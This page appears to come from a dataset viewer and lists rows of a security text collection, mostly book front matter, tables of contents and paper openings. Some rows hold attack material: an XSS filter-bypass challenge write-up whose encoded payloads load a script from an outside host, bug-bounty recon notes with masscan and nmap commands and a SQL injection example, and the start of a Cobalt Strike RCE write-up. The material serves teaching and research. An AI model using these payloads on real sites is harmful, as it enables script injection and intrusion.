name\nhttp://xcao.vip/testxss8-1.php?data=location[`replace`]`javascript:name`\n快乐的 base64\nhttp://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjP\nScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`\n最后你会发现原来存在通解，废话，当然存在，我过滤规则越来越多，当然存在通解。\n既然前面两个的都阻止不了你，那说明你并非等闲之辈，发现 Function 在构造 EXP 中\n很有用啊\n那我就把 Function 也过滤了吧\n于是就有了\n于是有了\n独孤九剑第八-2 式：\n过滤了 =().&#\\%<>’”[] Function，相对于第 8 式新增 Function 的过滤（这是\n不是像极了 struts2 修复漏洞的方式）\n本关灵感来源于@Melody 同学对第八关的解法\n不能用[]和引号，那么我是不是必须要在 window 下面另外找一个方法来替代 Funtion 呢？\nsetTimeout?\nopen?\nsetTimeout 我没有成功，搞定的同学麻烦告诉我\n先看看 open 的参数\nwindow.open('page.html', 'newwindow', 'height=100, width=400, top=0, left=0, to\nolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no')\n如果我们能控制第二个参数就可以了\n因为可以用 open(\"javascript:name\",\"<img src=x onerror=alert(document.domain)>\")\n//请忽略浏览器拦截\n这里需要复习一下 js 模板的方法调用\naa`aaa${1}bbb${2}ccc`\n相当于就是 传递了三个参数 [\"aaa,bbb,ccc\", \"1\", \"2\"]\n因此我们可以构造\nopen`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW\n50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjY\nW8udmlwL3hzcy9hbGVydC5qcyc+`}`\n相当于是调用\nopen('javascript:name//,',\"<img src=x onerror=with(opener.document)body.appendC\nhild(createElement('script')).src='http://xcao.vip/xss/alert.js'>\")\nhttp://xcao.vip//test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9\neCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWV\nudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b`}`\n看到这里想必大家已经搞清楚为什么第七式中的 Function 调用要报错了！\nFunction(...args) 前面的参数表示定义函数的参数，最后一个参数表示函数内容\nFunction(\"a\",\"bbb\",\"ccc\")\nƒ anonymous(a,bbb\n) {\nccc\n}\n你已经在第 8 层经历很多，最高境界在哪里呢？如果我过滤所有的特殊字符，只给你一\n个=看你怎么办。嘿嘿嘿嘿嘿嘿嘿嘿\n于是有了\n独孤九剑第九式：\n过滤了 ().&#\\%<>”$[]{};,/`和第八题比较增加了${};,/`的过滤，放开了最初=\n的过滤\n当你令狐冲练到独孤九剑第八重的时候，怎么也练不会第九重\n这时候风清扬告诉他，你必须要想忘记你之前所学的，方能练成\n所有字符绕过方法，我都统统忘掉，我只用一支木棍（=）\n这不正是武学最高境界，无招胜有招吗！\nhttp://xcao.vip/test/xss9.php?data=location=name\n再回过头来想想当时练习第 3 式和第 5 式时候的痛苦，现在是不是豁然开朗\n如果有人再问你，只给你()呢，你肯定也能信手拈来\nhttp://xcao.vip/test/xss9.php?data=eval(name)\n总结：练完最后一式你会发现，如果你一直跟着我的思路走，会及其的难受，这也是我\n创立这个“独孤九剑”的目的，哈哈哈\n那么恭喜你，独孤九剑你已经练成，维护世界和平的任务就交给你了，少侠！"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":99,"cells":{"text":{"kind":"string","value":"SRC\n1. IP\n2. \n1.SSL\n2.\n3.Github\n4.DNS\n5.\nSSL\n12\nSRC\nSSL\n1.censys.io\n2.crt.sh\n1.riskiq\n2.shodan\n3.findsubdomains\n[] \n[] \n4.censys.io\n5.dnsdb.io\nDNS\nSSLGithub\ncrt.shnss.a.com\nGithub\n\n\nGET\n\njson\n\nfastjson\n\n\nGithub\ngithub\nIP\nIPASIP\nIP\n: http://IPwhois.cnnic.net.cn/ 123.58.191.1\n[IP] \n\nIP\n\nNetease-Network\n\nIPNetease-Network\n\nneteaseIPIP\nIP\nIP?\nIP\n[] \nIPpythonmasscan\n+nmap\n<<>>\n\nmasscanIP\nwaf\n\nIPwafIPIP\nmasscanIP\nsubprocessmasscan\nIP\nwafbreak\n 59.111.14.159 IP sudo masscan 59.111.14.159 -p1-65535 --rate\n2000 IPpython\n\nmasscan-oX -oJ\nmasscan\nmasscan\nmasscannmapnmap -sV -sT -Pn --version-all --open \n-sV \n-sT -sS-sT\n-sTroot\n-sSroot\n-Pnnmapping\nmasscan\nnmap\n--open open\n--version-all \n[] \n1.,\n2.rapid7fdnsrndsjson\nhttps://opendata.rapid7.com/sonar.rdns_v2/\nhttps://opendata.rapid7.com/sonar.fdns_v2/\n1.\n2.\n3.\n4.(js)\n20161000web\n(js)\n[] \n\npostgetjs\napijs\n2016Uberapi\n@cy hackerone1UberSQL\napijsjs1api\nsqlUber\napi\napi2jsapijs\n8apiapi\n\n[] \nopenidapi\n\n3000$\n\nUber\n403404\nIP 106.**.**.147 403\n\n http://106.**.**.147/adver/landing.php \n\nURL\n http://106.**.**.147/adver/landing.php?mac=1 SQL\n\nSRC\n?\ndict_count\ndict_count1order by dict_count desc\nSRC\n1.\n2.\nAPPiosAndroidAPP\nAPPSSLAPP\nAPP\niosiPhoneSSL Pining Disable SSL Pining \n http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html \n https://github.com/WooyunDota/DroidSSLUnpinning \n[] \n[] \n[APP]"},"category":{"kind":"string","value":"pdf"}}}],"truncated":false,"partial":false},"paginationData":{"pageIndex":0,"numItemsPerPage":100,"numTotalItems":428155,"offset":0,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc3OTI1MTY3OSwic3ViIjoiL2RhdGFzZXRzL3VrY2xpL3NlY3VyaXR5LXBhcGVyLWRhdGFzZXRzIiwiZXhwIjoxNzc5MjU1Mjc5LCJpc3MiOiJodHRwczovL2h1Z2dpbmdmYWNlLmNvIn0.tC497fBLiQIDuuepmB56c5i69VXvQcel4r0l18qz73sqVXWNMZUdw5B_Dde674vOEq0fQt3mUkJ2S_c9GRWZAw","displayUrls":true,"splitSizeSummaries":[{"config":"default","split":"train","numRows":428155,"numBytesParquet":751689097}]},"discussionsStats":{"closed":0,"open":1,"total":1},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
Cover
Title Page
Copyright
About the Author
Foreword
Introduction
Who This Book Is For
What Is In This Book
Happy Hacking!
Part I: The Industry
Chapter 1: Picking a Bug Bounty Program
The State of the Industry
Asset Types
Social Sites and Applications
General Web Applications
Mobile Applications (Android, iOS, and Wind... | epub_books |
版权信息
书名：IDA Pro权威指南（第2版）
作者：Chris Eagle
译者：石华耀， 段桂菊
ISBN：978-7-115-27368-0
本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。
您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。
如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。
目录
版权声明
献词
对上一版的赞誉
致谢
前言
第一部分 IDA简介
第1章 反汇编简介
1.1 反汇编理论
1.2 何为反汇编
1.3 为何反汇编
1.4 如何反汇编
1.5 小结... | epub_books |
第10章 赛后——分析报告
第10章 赛后——分析报告
译者：@Snowming
在之前的 THP 书籍中，我们有介绍如何编写渗透测试报告的示例，并提供了大量报告模板。这些示例非常适合那些按部就班的做渗透测试的活动，但是不适合红队的活动。正如本书所述，红队的焦点不是识别漏洞本身（虽然这也是工作的一部分），而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的坏人攻击并成功入侵，你会给自己的业绩打几分？我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。
就我个人而言，我喜欢看到公司从之前的红队活动中采取措施进行控制，以测试是否真的... | epub_books |
Table of Contents
Cover
Foreword
Introduction
CHAPTER 1: Fundamental Networking and Security Tools
Ping
IPConfig
NSLookup
Tracert
NetStat
PuTTY
CHAPTER 2: Troubleshooting Microsoft Windows
RELI
PSR
PathPing
MTR
Sysinternals
The Legendary God Mode
CHAPTER 3: Nmap—The Network Mapper
Network Mapping
Port Scanning
Services... | epub_books |
横向领导力（美）费希尔，（美）夏普 著刘清山 译
版权信息书名：横向领导力作者：（美）费希尔，（美）夏普译者：刘清山书号：ISBN 978-7-5502-6265-2版权：后浪出版咨询（北京）有限责任公司
目录引言 任何人都是潜在的领导者第一部分 真正的领导者，不需要职位01 合作很难？你还没找到方法！02 横向领导：怎样巧妙地影响他人第二部分 做对5步，团队就是你的了03 目标整理术：把团队拧成一股绳04 思考整理术：迅速找到解决问题的方法05 计划修正术：不断修正计划，使其趋于完美06 激励管理术：让团队成员保持专注07 反馈的艺术：不断提升团队工作效率第三部分 做更好的领导者08 五项技能的综合运用09 假如你是领导者，你还能... | epub_books |
目 录
版权信息
作者简介
封面介绍
版权声明
内容提要
译者简介
要感谢的人：
对本书的赞誉
前言
阅前须知
本书读者对象
未涵盖内容
本书结构
本书使用的JavaScript版本
阅前建议
本书的四部分内容
JavaScript命令行
符号说明
快速查询文档
Safari® Books Online
联系我们
致谢
审稿人
第1部分 JavaScript快速上手
第1章 基础JavaScript
1.1 背景
1.1.1 JavaScript与ECMAScript
1.1.2 JavaScript的影响和本质
1.2 语法
1.2.1 语法概述
1.2.2 语句和表达式
1.2.3 分号
1.2.4 注释
1.3 变量和赋值
1... | epub_books |
15.设计与研究
外国游客常常惊讶地发现，美国人交谈的时候，一开始总是问“你干什么工作”。我一直讨厌回答这个问题，因为一句话说不清楚。不过我最终找到了解决方法，现在如果有人问我干什么工作，我会正规对方的双眼说：“我正在设计一种Lisp语言的新方言。”如果你也有同样困扰，我推荐你也如此回答。对方就立刻转向其他话题了。
我确实是在“设计”一种编程语言，而且我不认为自己在做“研究”。我所做的工作与其他人设计一幢大楼、一把椅子、一种新字体并没有本质不同。我的目的不是发现一种“新”东西，而是做出一种很“好”的编程语言。
设计与研究的区别看来就在于，前者追求“好”（good），后者追求“新”（new）。优秀的设计不一定很“新”，但必... | epub_books |
如果你不知道读什么书或者想获得更多免费电子书请加小编QQ：2338856113 小编也和结交一些喜欢读书的朋友 或者关注小编个人微信公众号名称：幸福的味道 获得上百个书单 为了方便书友朋友找书和看书，小编自己做了一个电子书下载网站，网址：http://www.ireadweek.com 如于某种原因，经常换网址 如果打不开，可以qq联系我
网络空间安全技术丛书
企业安全建设指南：金融行业安全架构与技术实践
聂君 李燕 何扬军 编著
ISBN：978-7-111-62203-1
本书纸版由机械工业出版社于2019年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。... | epub_books |
目录
初试锋芒
从一道面试题开始说起
小试牛刀：一个简单的应用实例
Excel文件的保存过程
你一定会喜欢的技巧
Patrick的故事
Wireshark的前世今生
庖丁解牛
NFS协议的解析
从Wireshark看网络分层
TCP的连接启蒙
快递员的工作策略—TCP窗口
重传的讲究
延迟确认与Nagle算法
百家争鸣
简单的代价—UDP
剖析CIFS协议
网络江湖
DNS小科普
一个古老的协议—FTP
上网的学问—HTTP
无懈可击的Kerberos
TCP/IP的故事
举重若轻
“一小时内给你答复”
午夜铃声
深藏功与名
棋逢对手
学无止境
一个技术男的自白
初试锋芒
从一道面试题开始说起
我每次当面试官，都要伪装成无所不知的大... | epub_books |
未来简史
——从智人到神人
[以色列]尤瓦尔·赫拉利 著
林俊宏 译
中信出版社
目录
第1章 人类的新议题
第一部分 智人征服世界
第2章 人类世
第3章 人类的特殊之处
第二部分 智人为世界赋予意义
第4章 说书人
第5章 一对冤家
第6章 与“现代”的契约
第7章 人文主义革命
第三部分 智人失去控制权
第8章 实验室里的定时炸弹
第9章 大分离
第10章 意识的海洋
第11章 信数据得永生
图片来源
致谢
注释
献给萨蒂亚·纳拉扬·戈恩卡（1924——2013）老师，
他春风化雨般教导我许多重要的事。
图1 体外受精：掌握创造的力量
第1章
人类的新议题
第三个千年开始之际，人类醒来，伸展手脚，揉了揉眼睛，脑子里依稀记得某些... | epub_books |
操作系统原理
（第4版）
庞丽萍 编著
华中科技大学出版社
中国·武汉
内容简介
《操作系统原理》自1988年出版以来，20余年作者始终紧跟计算机技术的发展，始终坚守教学第一线，不断地将计算机的新技术与教学改革的新成果融入本书，使之日臻完善，广受欢迎，读者多达18万之众。
本书修订，全面、系统地阐述了现代操作系统的基本原理、主要功能及实现技术，讨论了现代操作系统的虚拟技术及用户界面。重点介绍多用户、多任务的运行机制及操作系统资源管理策略和方法。以UNIX系统为例介绍了操作系统的实现技术。并增加分布式系统内容，讨论分布式系统的定义、特征、模型，分布式系统的资源管理及一致性问题。
本书既可作为高等院校计算机类本科、专科各专业和其他相关专... | epub_books |
网络基本功（一）：细说网络传输
网络基本功（一）：细说网络传输
转载请在文首保留原文出处：EMC中文支持论坛https://community.emc.com/go/chinese
介绍
常言道：欲练神功，必先练好基本功。之前做了一个关于IP路由，默认网关和掩码的问答贴，做完这个帖子觉得如果对网络知识点做一个系统的阐述，应该会很有帮助。
本系列文章着重于讲解网络管理实际应用中常常涉及的重要知识点，尽量以实用为主。准备写的几个章节暂时有（可能会有增减）：
网络传输
交换机
VLAN与Trunk
路由(上)
路由(下)
链路聚合
IP地址与子网
NAT原理与配置
ICMP与ARP
TCP滑动窗口
TCP重传
TCP确认机制
TCP窗口... | epub_books |
版权信息
书名：Android应用安全防护和逆向分析
作者：姜维
排版：KK
出版社：机械工业出版社
出版时间：2017-11-01
ISBN：9787111584452
— · 版权所有 侵权必究 · —
对本书的赞誉
移动应用安全已经是个不可忽视的问题，本书结合多个案例进行实际操作讲解，介绍很多实用工具和命令，是一本非常好的安全逆向工具书籍。姜维研究安全逆向这么久，将自身多年的丰富经验用书本的形式展现给读者也是非常不易。我仔细看过这本书，感觉真的很不错，对学习安全逆向的同学很有帮助，值得购买。
——周鸿祎，360公司创始人、董事长兼CEO，知名天使投资人
本书作者的技术搏客在CSDN上有超过500万人次的总访问量！
为什么这么多... | epub_books |
图书在版编目（CIP）数据
富爸爸穷爸爸／〔美〕清崎，〔美〕莱希特著；萧明译．—成都：四川文艺出版社，2013.12
ISBN 978-7-5411-3812-6
Ⅰ．①富… Ⅱ．①清… ②莱… ③萧… Ⅲ．①私人投资—通俗读物 Ⅳ．①F830.59-49
中国版本图书馆CIP数据核字（2013）第279272号
FUBABAQIONGBABA
富爸爸穷爸爸
〔美〕罗伯特·清崎 〔美〕莎伦·莱希特 著
萧 明 译
责任编辑 张春晓
特邀编辑 聂 敏 张 芹
封面设计 朱 红
版式设计 乐阅文化
出版发行
社 址 成都市槐树街2号
网 址 www.scwys.com
电 话 028-86259285（发行部） 028-8625... | epub_books |
信息安全技术丛书
代码审计：企业级Web代码安全架构
尹毅 著
ISBN：978-7-111-52006-1
本书纸版由机械工业出版社于2015年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。
版权所有，侵权必究
客服热线：+ 86-10-68995265
客服信箱：service@bbbvip.com
官方网址：www.hzmedia.com.cn
新浪微博 @华章数媒
微信公众号 华章电子书（微信号：hzebook）
目录
序言
前言
导读
第一部分 代码审计前的准备
第1章 代码审计环境搭建
1.1 wamp/wnmp环境搭建
1.2 lamp/lnmp环境搭建
1.3 ... | epub_books |
第1章 导言
在本书的开篇，我们首先概要地介绍 C 语言，主要是通过实际的程序引入 C 语言的基本 元素，至于其中的具体细节、规则以及一些例外情况，在此暂时不多做讨论。因此，本章不 准备完整、详细地讨论 C 语言中的一些技术(当然，这里所举的所有例子都是正确的)。我们 是希望读者能尽快地编写出有用的程序，为此，本章将重点介绍一些基本概念，比如变量与 常量、算术运算、控制流、函数、基本输入/输出等。而对于编写较大型程序所涉及到的一 些重要特性，比如指针、结构、C 语言中十分丰富的运算符集合、部分控制流语句以及标准库 等，本章将暂不做讨论。
这种讲解方式也有缺点。应当提请注意的是，在本章的内容中无法找到任何特定语言特 性的完整说明，并且... | epub_books |
思考，快与慢
[美]丹尼尔·卡尼曼 著
胡晓姣 李爱民 何梦莹 译 中信出版社
思考，快与慢 著 者：[美]丹尼尔·卡尼曼 著 译 者： 胡晓姣 李爱民 何梦莹 译 策划推广：中信出版社（China CITIC Press） 蓝狮子财经出版中心 出版发行：中信出版集团股份有限公司（北京市朝阳区惠新东街甲4 号富盛大厦2 座 邮编 100029）（CITIC Publishing Group） 字 数：401 千字
版 次：2012 年7 月第1 版 书 号：ISBN978-7-5086-3355-8/F.2633 定 价：69.00元
本书所获赞誉生活就像点菜，饥饿时菜会点得特别多，但吃... | epub_books |
计算机科学丛书
现代操作系统（原书第3版）
Modern Operating Systems,Third Edition
[荷]塔嫩鲍姆（Tanenbaum,A.S.） 著
陈向群 马洪兵 等译
ISBN：978-7-111-25544-4
本书纸版由机械工业出版社于2009年出版，电子版由华章分社（北京华章图文信息有限公司）全球范围内制作与发行。
版权所有，侵权必究
客服热线：+ 86-10-68995265
客服信箱：service@bbbvip.com
官方网址：www.hzmedia.com.cn
新浪微博 @研发书局
腾讯微博 @yanfabook
目 录
出版者的话
译者序
前言
第1章 引论
1.1 什么是操作系统
1... | epub_books |
版权信息
书名：【抢鲜版】-黑客秘笈——渗透测试实用指南（第3版）
ISBN：978-7-115-52917-6
本书由人民邮电出版社发行数字版。版权所有，侵权必究。
您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。
如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。
版 权
著 [美]皮特 • 基姆（Peter Kim）
译 孙 勇 徐太忠
责任编辑 张 涛
人民邮电出版社出版发行 北京市丰台区成寿寺路11号
邮编 100164 电子邮件 315@ptpress.c... | epub_books |
版权信息
书名：Web应用安全权威指南
作者：（日） 徳丸浩
译者：赵文，刘斌
ISBN：978-7-115-37047-1
本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。
您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。
如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。
图灵社区会员 ptpress（libowen@ptpress.com.cn） 专享 尊重版权
推荐序
译者序
前言
谢辞
第 1 章 什么是 Web 应用的安全隐患
1.1 安全隐患即“能用于作恶的 Bug”... | epub_books |
Hadoop实战（第2版）
陆嘉恒 著
ISBN：978-7-111-39583-6
本书纸版由机械工业出版社于2012年出版，电子版由华章分社（北京华章图文信息有限公司）全球范围内制作与发行。
版权所有，侵权必究
客服热线：+ 86-10-68995265
客服信箱：service@bbbvip.com
官方网址：www.hzmedia.com.cn
新浪微博 @研发书局
腾讯微博 @yanfabook
目 录
前言
为什么写这本书
第2版与第1版的区别
本书面向的读者
如何阅读本书
在线资源及勘误
致谢
第1章 Hadoop简介
1.1 什么是Hadoop
1.1.1 Hadoop概述
1.1.2 Hadoop的历史
1.1.3... | epub_books |
目 录
版权信息
版权声明
内容提要
译者序
译者致谢
序一
序二
前言
作者致谢
关于本书
在线资源
作者在线
第1章 为何这本书与你先前读过的任何书籍都迥然不同
第一篇 职业
第2章 从非同凡响开始：绝不要做他人都在做的事
拥有商业心态
如何像企业一样思考
第3章 思考未来：你的目标是什么
如何设定目标
追踪你的目标
第4章 人际交往能力：远比你想象的重要
别管我，我只想一个人安静地写代码！
学会如何与人打交道
第5章 破解面试之道
通过面试的最快捷的方式
我是如何得到最后一份工作的
突破陈规，建立融洽关系
真正的面试会是什么样子的
当下你能做什么
第6章 就业选择：列出你的选择
选择1：雇员
选择2：独立咨询师
选择3：... | epub_books |
推荐序
以有限的资源获得最大限度的成长
迅雷创始人、远望资本创始合伙人 程浩
作为十几年的创业老兵，我花了两天时间一口气将这本书读完，然后又花了一天时间画了一个脑图。原因是这本书写得非常翔实生动，把我以前朦朦胧胧的“感觉”重新梳理了一遍，终于变为很有条理的知识体系。
必须说，《增长黑客》是每位奋斗在一线的创业者和企业高管们都该认真研读两遍的实战指南。
对于如何有效获客、留存用户、让业务爆发增长，书中不仅有体系的方法论，更有翔实的实战技巧。任何希望以有限的营销资源，甚至不想额外花钱就能收获最大限度成长的企业家，本书都不容错过。
特别在国内资本热衷于炒作热点、项目同质化严重的当下，创业竞争环境要比美国严苛许多。国外往往同一赛道只有两... | epub_books |
白帽子讲Web安全 作者：吴翰清字数：43.9万字大小：20.00MB书号：978-7-1211-6072-1出版：2014-06-01更新：2015-01-03Web安全第一书，国内唯一多语全球发行安全著作，最佳原创技术书大奖得主，道哥力作！ 互联网时代的数据安全与个人隐私受到前所未有的挑战，各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据？本书将带你走进Web安全的世界，让你了解Web安全的方方面面。
本书根据安全宝副总裁吴翰清，在顶级互联网公司若干年的实际工作经验而写成，在解决方案上具有极强的可操作性；深入分析诸多错误的方法及误区，对安全工作者有很好的参考价值；对安全开发流程与运营的介绍，同样具有深刻的行业指导意义... | epub_books |
内容简介
业务安全漏洞作为常见的Web安全漏洞，在各大漏洞平台时有报道，本书是一本从原
理到案例分析，系统性地介绍这门技术的书籍。撰写团队具有10年大型网站业务安全测试
经验，成员们对常见业务安全漏洞进行梳理，总结出了全面、详细的适用于电商、银行、
金融、证券、保险、游戏、社交、招聘等业务系统的测试理论、工具、方法及案例。
本书共15章，包括理论篇、技术篇和实践篇。理论篇首先介绍从事网络安全工作涉及
的相关法律法规，请大家一定要做一个遵纪守法的白帽子，然后介绍业务安全引发的一些
安全问题和业务安全测试相关的方法论，以及怎么去学好业务安全。技术篇和实践篇选取
的内容都是这些白帽子多年在电商、金融、证券、保险、游戏、社交、招聘、O2O等... | epub_books |
浪潮之巅
吴军
简介
近一百多年来，总有一些公司很幸运地、有意识或无意识地站在技术革命的浪尖之上。在长达十年甚至几十年的时间里，它们代表着科技的浪潮，直到下一波浪潮的来临。从19世纪末算起. AT&T公司、IBM 公司、苹果公司、英特尔公司、微软公司、思科公司、雅虎公司和Google公司都先后被幸运地推到了浪尖。虽然，它们来自不同的领域，中间有些已经衰落或正在衰落，但是它们都极度辉煌过。本书系统地介绍了这些公司成功的本质原因及科技工业一百多年的发展。在这些公司兴衰的背后，有着它必然的规律。
作者简介
吴军博士，毕业于清华大学计算机系(本科)、电子工程系(硕士)和美国约翰·霍普金斯大学计算机科学系(博士)。在清华大学和约翰·霍普金斯大... | epub_books |
PEIMA: Using Power Laws to
address Denial of Service
Attacks
REDEZEM
Who Am I?
Stefan Prandl
PhD student, Curtin University
That’s in Perth, Australia
Networks and Network Security
Also work with ES2 as a security
consultant
Been breaking stuff since a young
age
Contents
The stuff you’ve just seen
... | pdf |
Routing in the Dark: Pitch Black
Nathan S. Evans
Christian Grothoff
Nathan.S.Evans@du.edu
christian@grothoff.org
Colorado Research Institute for Security and Privacy
University of Denver
1
Motivation
• Efficient fully decentralized routing in restricted-route topologies is
important:
– Friend-to-friend (F2F) networks (“da... | pdf |
Scrutiny on the bug bounty
(pun hall of fame plz)
Nathaniel Wakelam & Shubham Shah
Who are we?
Nathaniel Wakelam (naffy)
Application Security
Consultant @ Trustwave
Twitter: @nnwakelam
Email: nnwakelam@gmail.com
Shubham Shah (shubs)
Senior Security Analyst @
Bishop Fox
Twitter: @infosec_au
Email: sshah@assetnote.io
... | pdf |
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 1
Defending Networks with Incomplete
Information: A Machine Learning
Approach
Introduction and Abstract
Let's face it: we may win some battles, but we are losing the war pretty badly.
Regardless of the advances in ... | pdf |
photo04_04.jpg
Index of /
基本简介
信息收集
研究过程
天马行空
基本简介
who am I ?
我总是问自己”我是谁”, 直到现在依然努
力的寻找自我。
why am I here ?
这是个好的问题, 等我真正明白时在回答你！
什么是 kiosk ?
贩卖亭
台湾那里能找到 ?
http://www.ibon.com.tw
http://www.famiport.com.tw
http://www.hilife.com.tw
http://www.okmart.com.tw
福客多
Multi Media Kiosk (MMK)
信息收集
how does a computer process
dat... | pdf |
Who we are
● bughardy
(aka Matteo Beccaro)
bughardy@cryptolab.net
Italian student with passion of
IT, networking and pentesting. In
2013 ended his studies in high
school and apply for Politecnico
of Turin at Computer
Engineering.
●
Eagle1753
(aka Matteo Collura)
eagle1753@onenetbeyond.org
Italian student, applied... | pdf |
Hardware Trojans
Infiltrating the Faraday Cage
Nick Waite, Researcher, CVORG, University of Delaware
Stephen Janansky, Researcher, CVORG, University of Delaware
1
Updated slides and papers
Please visit us at cvorg.ece.udel.edu for updated
slides and papers that will be presented at the
conference. As this topic is st... | pdf |
#WeaponizeMe
Weaponizing Data Science
for Social Engineering:
Automated E2E Spear Phishing on Twitter
John Seymour | Philip Tully
1
#WeaponizeMe
You care about phishing on social media
2
#WeaponizeMe
TL;DR
3
Level of Effort
Success Rate
Our Tool
Fully Automated
>30% Accuracy
Spear Phishing
Highly Manual
45% Accuracy... | pdf |
How to construct a sustainable
vulnerability management program
1
#whoami
-Howard Tsui
-Senior Threat and Vulnerability Management Engineer
-Financial industry in the United States
-Contact
• teaupdate12@gmail.com
• TSUIUST – twitter
• Howard Tsui – Linkedin
2
Talk Outline:
• Why do we need Vulnerability M... | pdf |
Vacuum Cleaning Security
Pinky and the Brain Edition
Jiska Classen
Secure Mobile Networking Lab - SEEMOO
Technische Universität Darmstadt, Germany
Fabian Ullrich
IT Security Analyst @ ERNW GmbH
Heidelberg, Germany
2
●
A vacuum cleaning robot is in your house, has access to your Wi-Fi and knows
many of your personal h... | pdf |
If You Give A Mouse A Microchip
It will execute a payload
and cheat at your high-stakes video game tournament
Mark Williams (skud) and Rob Stanley (Sky)
●
1958 - ‘first’ video game
●
1972 - first recorded, sponsored video game tournament
○
Spacewar! - built in 1960s
○
Rolling Stone sponsored a Spacewar! Olympics in ‘... | pdf |
@M4x_1997
@zh_explorer
⚫ Beijing Chaitin Tech Co., Ltd(@ChaitinTech)
https://chaitin.cn/en
https://realworldctf.com/
⚫ Chaitin Security Research Lab
⚫ Pwn2Own 2017 3rd place
⚫ GeekPwn 2015/2016/2018/2019 awardees
⚫ PS4 Jailbreak, Android rooting, IoT Offensive Research, ESXi Escape
⚫ CTF players from team b1o0p, Tea De... | pdf |
Attacking the Traveling Salesman
Point-of-sale attacks on airline travelers
DEFCON 2014
Alex Zacharis
Nikos Tsagkarakis
info@census-labs.com
Census S.A.
http://census-labs.com/
Contents
• Why target travelers?
• Point-of-Sale attacks in transportation
• Case Study
• Back to the Lab
• POS: exploiting different modules
•... | pdf |
从0开始的src之旅-开篇
0x00 前⾔
⾃由职业真的是有⼀顿没⼀顿，不做点啥就焦虑，做了事不赚钱也焦虑（
anyway，作为安全从业⼈能不上班赚外块的除了拉⽪条就剩src了。之前说过想要搞⼀搞src，但⼀
直拖着没怎么产出。其实也不是没有尝试，主要是我⾃⼰也是⼀个菜⻦，可能写⼀些有的没得容易
误导别⼈。所以我希望看这些⽂字的⼈不要把这个当作教科书⽽是当作⼀个和你⼀样的菜⻦从零开
始⼀步⼀步的思考和实践记录。
我五六年前也挖过⼀阵⼦src，那么多年过去了，很多东⻄变了，很多东⻄⼜没变。要想重新投⼊
状态到src中，我需要去总结不变的东⻄，优化迭代那些变化了的东⻄。
这个开篇主要是把⼀些前期的想法罗列⼀下，并不涉及具体的实施。
... | pdf |
1
As-Exploits内存⻢兼容Spring
前⾔
过程
关于反射的坑
addServletMapping的兼容性问题
运⾏截图
最后
@yzddmr6
最近在对As-Exploits的内存⻢部分做兼容Spring处理。原来只是照搬了哥斯拉的⼀些payload，现在需要
深⼊研究⼀下了。
⾸先要Spring中默认没有pageContext的依赖，所以相关的依赖部分都要去除。蚁剑的jsp很早就不依赖
pageContext了，相关⽂章以前也写过，不知道的同学可以翻⼀翻我的博客。
在研究过程中可以发现哥斯拉中的payload基本都是⽤反射实现的，这样的好处就是可以不添加任何依赖。
这也是为什么哥斯拉只有8m的原因。
去除掉所有的pa... | pdf |
© 2012
Presented by:
Pwn’ing you(r) cyber offenders
Piotr Duszynski
@drk1wi
© 2012
;WHOAMI;#?
•
Senior Security Consultant @Trustwave (OSCE, OSCP, …)
•
In security field for the past 6 years, hacking since 9 …
•
Enjoys security research, crazy road trips and good music
•
Lives and works in Warsaw (Poland)... | pdf |
记⼀次CS RCE曲折的复现路
0x00 前⾔
就在前⼏天，⽆敌的北⾠少爷向CS官⽅提交了⼀个RCE漏洞，通过该漏洞可以在捕获攻击者的beacon后
向teamserver发送包含xss的数据，经过反射后最终在攻击者的client上执⾏RCE，该漏洞编号为CVE-
2022-39197。可⻅这是⼀个可遇不可求的反制⿊客的神洞，安服仔的噩梦。既然是暴打jb⼩⼦的漏洞，
那⼀定要复现⼀下，于是我下定决⼼燃烧精元死命肝，在群友的⼤⼒⽀持下终于跌跌撞撞的完整的复现了
该漏洞。回过头来看这⼏天，真是学了⼀⻋⽪的东⻄。
0x01 起点
相信⼤家在这⼏⽇都已经⻅过了插img标签来获取⼀个反弹的get请求，⽐如
